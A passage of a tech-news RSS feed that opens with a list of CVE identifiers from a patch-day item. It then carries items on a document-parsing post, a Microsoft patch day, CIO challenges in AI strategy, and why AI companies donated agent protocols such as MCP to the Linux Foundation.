CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43362, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372,
CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395,
CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911,
CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994,
CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002,
CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006,
CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012,
CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120,
CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124,
CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167,
CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173,
CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280,
CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287,
CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294,
CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312,
CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320)]]></content:encoded>
</item>
<item>
<title><![CDATA[Loop Engineering with Adaptive Parsing in Action: Parsing Flat Tables with Azure and Figures with a Vision LLM]]></title>
<description><![CDATA[Enterprise Document Intelligence [Vol.1 #10B] - The LLM as last line of defence, then two real escalations walked end to end: a flat table to Azure, a figure to a vision model
The post Loop Engineering with Adaptive Parsing in Action: Parsing Flat Tables with Azure and Figures with a Vision LLM a...]]></description>
<link>https://tsecurity.de/de/3681473/ai-nachrichten/loop-engineering-with-adaptive-parsing-in-action-parsing-flat-tables-with-azure-and-figures-with-a-vision-llm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681473/ai-nachrichten/loop-engineering-with-adaptive-parsing-in-action-parsing-flat-tables-with-azure-and-figures-with-a-vision-llm/</guid>
<pubDate>Mon, 20 Jul 2026 17:03:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise Document Intelligence [Vol.1 #10B] - The LLM as last line of defence, then two real escalations walked end to end: a flat table to Azure, a figure to a vision model</p>
<p>The post <a href="https://towardsdatascience.com/loop-engineering-with-adaptive-parsing-in-action-parsing-flat-tables-with-azure-and-figures-with-a-vision-llm/">Loop Engineering with Adaptive Parsing in Action: Parsing Flat Tables with Azure and Figures with a Vision LLM</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rekord-Patch-Day: Microsoft schließt 570–622 Lücken und warnt vor Zero Days - it boltwise]]></title>
<description><![CDATA[Genannt werden u. a. Windows, Office, Azure, Dynamics, SQL Server und der KI-Assistent Copilot. Die Behörden warnen vor Angriffen aus der Ferne, die ...]]></description>
<link>https://tsecurity.de/de/3681459/windows-server/rekord-patch-day-microsoft-schliesst-570-622-luecken-und-warnt-vor-zero-days-it-boltwise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681459/windows-server/rekord-patch-day-microsoft-schliesst-570-622-luecken-und-warnt-vor-zero-days-it-boltwise/</guid>
<pubDate>Mon, 20 Jul 2026 17:01:11 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Genannt werden u. a. <b>Windows</b>, Office, Azure, Dynamics, SQL <b>Server</b> und der KI-Assistent Copilot. Die Behörden warnen vor Angriffen aus der Ferne, die ...]]></content:encoded>
</item>
<item>
<title><![CDATA[7 issues impacting AI strategies — and how CIOs should respond]]></title>
<description><![CDATA[CIOs remain at the forefront of setting the course for AI adoption in their organizations.



In fact, 82% of CIO respondents to CIO.com’s 2026 State of the CIO survey are responsible for researching and evaluating AI products, with 78% of IT leaders saying their IT departments are driving AI ado...]]></description>
<link>https://tsecurity.de/de/3680786/it-nachrichten/7-issues-impacting-ai-strategies-and-how-cios-should-respond/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680786/it-nachrichten/7-issues-impacting-ai-strategies-and-how-cios-should-respond/</guid>
<pubDate>Mon, 20 Jul 2026 12:03:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">CIOs remain at the forefront of setting the course for AI adoption in their organizations.</p>



<p class="wp-block-paragraph">In fact, 82% of CIO respondents to <a href="https://us.resources.cio.com/resources/state-of-the-cio/">CIO.com’s 2026 State of the CIO survey</a> are responsible for researching and evaluating AI products, with 78% of IT leaders saying their IT departments are driving AI adoption efforts, with business units aligning their strategies accordingly.</p>



<p class="wp-block-paragraph">As such, CIOs are leading or co-leading AI strategies at the majority of organizations, with many also playing a key role in tackling <a href="https://www.cio.com/article/4016354/cios-tackle-the-ai-change-management-challenge.html">AI change management</a>. They report encountering numerous factors — from heightened pressure to deliver ROI to challenges with trust in AI outputs — as they formulate and shape those AI strategies.</p>



<p class="wp-block-paragraph">Here’s a look at seven notable issues impacting AI strategies in 2026.</p>



<h2 class="wp-block-heading">1. Increasing pressure to show ROI for AI investments</h2>



<p class="wp-block-paragraph">The era of AI experimentation and pilots is over. Boards and CEOs are making it clear they want to see <a href="https://www.cio.com/article/4114010/2026-the-year-ai-roi-gets-real.html">quantifiable returns from their AI investments</a>. Kyndryl’s 2025 <a href="https://www.kyndryl.com/us/en/insights/readiness-report-2025">Readiness Report</a>, for example, found that 61% of senior business leaders and decision-makers felt more pressure to prove ROI on their AI investments than they had the prior year.</p>



<p class="wp-block-paragraph">“The era of funding AI is shifting from everything all-in to every project has to have line of sight to some financial value at the end of the day. It’s moving from the experimentation phase to expecting measurable outcomes,” says <a href="https://www.ensono.com/company/leadership/jim-piazza/">Jim Piazza</a>, chief AI officer at IT services firm Ensono.</p>



<p class="wp-block-paragraph">As a result, Piazza says companies, both his own as well as those he advises, are more diligent about building business cases that estimate implementation costs, AI run costs, and expected benefits so they’re primed to pursue AI initiatives that will deliver ROI.</p>



<p class="wp-block-paragraph">That strategy seems to be paying off. According to the <a href="https://www.prnewswire.com/news-releases/dun--bradstreet-global-survey-of-10-000-businesses-finds-ai-impact-at-an-inflection-point-302761821.html">May 2026 AI Momentum Survey from Dun &amp; Bradstreet</a>, 67% of 10,000 businesses surveyed reported seeing early signs or pockets of ROI, 20% reported multiple projects delivering ROI, and 10% reported strong ROI.</p>



<p class="wp-block-paragraph">That’s a big jump from earlier surveys that found few AI initiatives providing returns. For example, <a href="https://www.pwc.com/gx/en/news-room/press-releases/2026/pwc-2026-global-ceo-survey.html">PwC’s 2026 Global CEO Survey</a>, released in January, found that 56% of CEOs saw no significant financial benefit from AI to date, while <a href="https://mlq.ai/media/quarterly_decks/v0.1_State_of_AI_in_Business_2025_Report.pdf">The GenAI Divide: State of AI in Business 2025</a> from MIT found that 95% of enterprise generative AI projects failed to show measurable financial returns within six months.</p>



<h2 class="wp-block-heading">2. The need to harness AI for transformation</h2>



<p class="wp-block-paragraph">The No. 1 concern for CEOs this year, according to <a href="https://www.pwc.com/gx/en/news-room/press-releases/2026/pwc-2026-global-ceo-survey.html">PwC’s 2026 Global CEO Survey</a>, is whether they’re transforming fast enough to keep pace with technological change, cited by 42% of respondents as their top concern. And 68% of the 1,120-plus C-suite executives surveyed by KPMG for its May 2026 <a href="https://kpmg.com/us/en/articles/2026/adaptability-pulse-survey.html">Adaptability Pulse Survey</a> said they feel pressure to accelerate innovation.</p>



<p class="wp-block-paragraph">That in turn is influencing AI strategies.</p>



<p class="wp-block-paragraph"><a href="http://steve%20santana%20%7C%20linkedin/">Steve Santana</a>, CIO and head of AI at ETS, the world’s largest private nonprofit educational testing and assessment organization, says his company is “pivoting from working on enterprise efficiencies using AI to figuring out how to deliver assessments,” adding that “AI will enable innovation we couldn’t get to before.”</p>



<p class="wp-block-paragraph">For ETS, that means reimagining how the company delivers its core products, “finding areas to do something you couldn’t do before because it was too big or too daunting,” such as having more interactive tests and assessments at scale, Santana says.</p>



<p class="wp-block-paragraph">And while Santana believes organizations can’t move too slowly, he predicts innovation will trump speed. “The winners and losers in the AI race aren’t always going to be the ones that got there the fastest,” he says, observing that those who move too fast “can drive behaviors that are very dangerous.”</p>



<p class="wp-block-paragraph">He adds, “I’m not advocating for moving slow; I’m advocating moving at pace. It’s better to be measured in your approach.”</p>



<h2 class="wp-block-heading">3. The black box of AI costs</h2>



<p class="wp-block-paragraph">CIOs are struggling to calculate the full cost to run AI for their use cases, with estimates coming in well under what their actual bills will be. Consider the figures from research firm IDC, which found that global 1,000 companies will <a href="https://www.cio.com/article/4107377/cios-will-underestimate-ai-infrastructure-costs-by-30.html">underestimate their AI infrastructure costs by 30% through 2027</a>.</p>



<p class="wp-block-paragraph">That makes identifying which AI use cases will produce quantifiable value much more challenging, which in turn makes determining a winning AI strategy harder to do. CIOs, however, say they can’t let that stop them from advising their C-suite colleagues on which AI use cases are likely to be winners.</p>



<p class="wp-block-paragraph">“You can’t sit on the sidelines and wait and watch. The general conclusion is you’re going to lose if you do that, so you have to play even though the cost dynamics are not really well understood,” says <a href="http://mohan%20sankararaman%20-%20corporate%20leadership/">Mohan Sankararaman</a>, executive vice president and CIO of First Horizon Bank.</p>



<p class="wp-block-paragraph">Sankararaman says he’s devising his AI strategy with that uncertainty in mind.</p>



<p class="wp-block-paragraph">“It’s up to me and my team to figure out how to optimize our use for costs, just like we did with cloud,” he says, noting that part of his strategy is to avoid infrastructure choices that could result in AI vendor lock-in and, thus, getting stuck with that vendor’s bills.</p>



<p class="wp-block-paragraph">“IT has to get the engineering right and not overengineer solutions to make sure the AI strategy we pursue delivers returns,” he adds.</p>



<p class="wp-block-paragraph">Researchers recommend such approaches. In a <a href="https://www.idc.com/resource-center/blog/balancing-ai-innovation-and-cost-the-new-finops-mandate/">blog highlighting the IDC research</a>, Jevin Jensen, research vice president for infrastructure and operations at IDC, wrote that “organizations successfully navigating this challenge are ones that effectively share a common trait: they’ve reimagined FinOps as a strategic team, not an after-the-fact accounting exercise. They treat <a href="https://my.idc.com/getdoc.jsp?containerId=US53858725&amp;pageType=PRINTFRIENDLY" target="_blank" rel="noreferrer noopener">AI economics as a living ecosystem</a> — measurable, visible, and continuously optimized.”</p>



<h2 class="wp-block-heading">4. Aligning use cases to business strategy</h2>



<p class="wp-block-paragraph">There are an overwhelming number of potential use cases, so execs must pick and prioritize those that will help them achieve their strategic goals.</p>



<p class="wp-block-paragraph">That’s easier said than done.</p>



<p class="wp-block-paragraph">Enterprise Strategy Group’s <a href="https://www.snowflake.com/en/news/press-releases/snowflake-research-reveals-that-92-percent-of-early-adopters-see-roi-from-ai-investments/">2025 report on generative AI’s ROI</a> surveyed 1,900 business and IT leaders across nine countries and found that 71% had more potential use cases that they want to pursue than they can possibly fund; 54% said selecting the right use cases based on objective measures like cost, business impact, and the organization’s ability to execute is hard; and 71% acknowledged that selecting the wrong use cases will hurt their company’s market position. Furthermore, 59% of respondents said advocating for the wrong use cases could cost them their job.</p>



<p class="wp-block-paragraph">Longtime CIO adviser <a href="http://larry%20wolff%20%7C%20linkedin/">Larry Wolff</a> says challenges picking and prioritizing use cases stems in part from boards and CEOs commanding their teams “to do AI.” Such directives, he explains, puts the technology first and business goals second — something CIOs have been trying to avoid for years.</p>



<p class="wp-block-paragraph">“There should not be a technology strategy. There should be a business strategy with a technology component. The same applies to AI,” says Wolff, now CIO of Preferred Travel Group. “We need to talk about business challenges and opportunities first and then talk about how AI can solve for those.”</p>



<h2 class="wp-block-heading">5. Human readiness to use AI</h2>



<p class="wp-block-paragraph">Even as Sankararaman and his executive colleagues build the bank’s AI strategy, he still sees the need to <a href="https://www.cio.com/article/4146677/the-ai-revolution-getting-culture-right-for-ai-success.html">improve the organization’s understanding of the technology</a>. “Everybody has a basic understanding, but AI fluency isn’t where it should be,” he says, noting that a subpar level of fluency “can hamper creativity.”</p>



<p class="wp-block-paragraph">“If the strategy is to become top notch in, say, customer experience, we have to determine how to achieve that. And if you start building the road map but you don’t know what the technology can do, then the strategy will be limited,” he adds.</p>



<p class="wp-block-paragraph">Sankararaman considers running AI boot camps for executives and their direct reports to improve their knowledge of AI and its transformative capabilities. “Not everyone needs to be an AI expert, but we still need to have a level of understanding of, say, what a large language model is and how to apply it and other elementary things like that. The hope is that when we do talk about strategy for business outcomes, everyone will know how to leverage AI,” he explains.</p>



<p class="wp-block-paragraph">According to <a href="https://www.ey.com/en_us/people/jamaal-justice">Jamaal Justice</a>, principal for people consulting at EY, concern about AI fluency is widespread.</p>



<p class="wp-block-paragraph">“One of the biggest challenges that impacts the success of an AI strategy is human readiness,” Justice says. He points to <a href="https://www.ey.com/en_uk/insights/workforce/work-reimagined-survey">EY research</a> showing “that while 88% of employees use AI at work, only 28% of organizations have positioned employees to achieve transformative business impact from AI. This underscores that the challenge is not access, but adoption and readiness.”</p>



<p class="wp-block-paragraph">Like Sankararaman, Justice acknowledges that it’s OK to have a spectrum of knowledge and use among workers. But success with AI “depends on aligning mindsets, skillsets, and toolsets, by creating the right conditions for both workforce readiness and effective technology use,” he says.</p>



<p class="wp-block-paragraph">“Organizations that integrate human capability with technology and fundamentally rearchitect work using a human-centered and value-oriented approach will unlock value at scale,” he adds. “Those that don’t risk fragmented adoption and limited returns.”</p>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_uk/insights/workforce/work-reimagined-survey">EY research</a> confirms as much, finding that productivity gains can fall by more than 40% when AI is deployed on weak talent foundations, including poor learning, culture, and incentives.</p>



<h2 class="wp-block-heading">6. Data readiness for AI use</h2>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4104444/8-tips-for-rebuilding-an-ai-ready-data-strategy.html">Data readiness</a> is also lagging at most organizations, further hindering AI ambitions.</p>



<p class="wp-block-paragraph">According to a 2026 report from Cloudera and Harvard Business Review Analytic Services titled <a href="https://www.cloudera.com/campaign/taming-the-complexity-of-ai-data-readiness.html">Taming the Complexity of AI Data Readiness</a>, 73% of surveyed business leaders said their organization struggles with AI data preparation. The top obstacles are siloed data and difficulty integrating data sources (56%), lack of a clear data strategy (44%), data quality and bias issues (41%), and regulatory constraints on data use (34%).</p>



<p class="wp-block-paragraph">To ensure AI success, “a radical reshaping of the data landscape is needed,” says <a href="https://www.linkedin.com/in/steve-prewitt-295859/">Steve Prewitt</a>, who as chief data and AI officer at IT services firm Genpact advises clients on AI deployments for their own organizations.</p>



<p class="wp-block-paragraph">That reshaping is more critical today as agentic AI becomes more prevalent, Prewitt observes. Organizations need high-quality well-governed data to enable and trust AI agents to make real-time decisions autonomously. Otherwise, organizations either can’t move forward with deploying agents or, if they do, risk triggering cascading failures.</p>



<h2 class="wp-block-heading">7. Engendering trust</h2>



<p class="wp-block-paragraph">ETS CIO Santana and his colleagues recognize AI’s potential to deliver faulty outputs, whether from problematic data, drift, or other problems. Everyday users recognize that potential, too.</p>



<p class="wp-block-paragraph">That’s why the issue of trust has a significant impact on the nonprofit’s AI strategy. Companies such as ETS that provide critical, high-stakes services know they must earn trust by building AI use cases that can consistently and demonstratively deliver accurate outputs, Santana says.</p>



<p class="wp-block-paragraph">ETS’s strategy is to highlight where AI is making high-stakes decisions and to detail what steps the company must take to ensure that it consistently delivers accurate, trustworthy outputs and that it conforms to established standards and requirements, he says.</p>



<p class="wp-block-paragraph">“You don’t want someone to feel the results may be wrong if you’re using AI to assess a person and their future depends on it,” he notes. “You want to remove any doubts [in such AI use cases], and the strategy should ensure that. The strategy should include all the work needed to have that trust.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The gravitational pull of AI]]></title>
<description><![CDATA[Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nea...]]></description>
<link>https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/</guid>
<pubDate>Mon, 20 Jul 2026 11:04:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic <a href="https://anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation">donated to the Linux Foundation’s new Agentic AI Foundation</a>⁠. At the time, MCP was <a href="https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/">pulling nearly 100 million monthly SDK downloads</a> across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.</p>



<p class="wp-block-paragraph">Google did much the same months earlier, <a href="https://developers.googleblog.com/en/google-cloud-donates-a2a-to-linux-foundation/">handing its Agent2Agent (A2A) protocol</a> to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, <a href="https://openai.com/index/new-tools-and-features-in-the-responses-api/">supports remote MCP servers in its Responses API</a>⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.</p>



<p class="wp-block-paragraph">It’s like <em>Game of Thrones</em>, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.</p>



<p class="wp-block-paragraph">What does this mean for AI?</p>



<h2 class="wp-block-heading"><a></a>Gravity has shifted before</h2>



<p class="wp-block-paragraph">Google has long been an exceptionally active contributor to open source. <a href="https://www.infoworld.com/article/2260293/open-source-innovation-is-now-all-about-vendor-on-ramps-2.html">As I wrote in 2017</a>, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As <a href="https://www.infoworld.com/article/2248699/why-kubernetes-is-winning-the-container-war.html">then Google product manager Martin Buhr said</a>, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”</p>



<p class="wp-block-paragraph">In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere they hold a stronger hand.</p>



<p class="wp-block-paragraph">GitHub may be an even better example. <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git </a>is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub </a>became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.</p>



<h2 class="wp-block-heading">Trading contributions for control</h2>



<p class="wp-block-paragraph">Anthrophic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. <a href="https://www.infoworld.com/article/4195842/which-ai-model-should-you-bet-your-company-on-none-of-them.html">As I pointed out recently</a>, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.</p>



<p class="wp-block-paragraph">The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.</p>



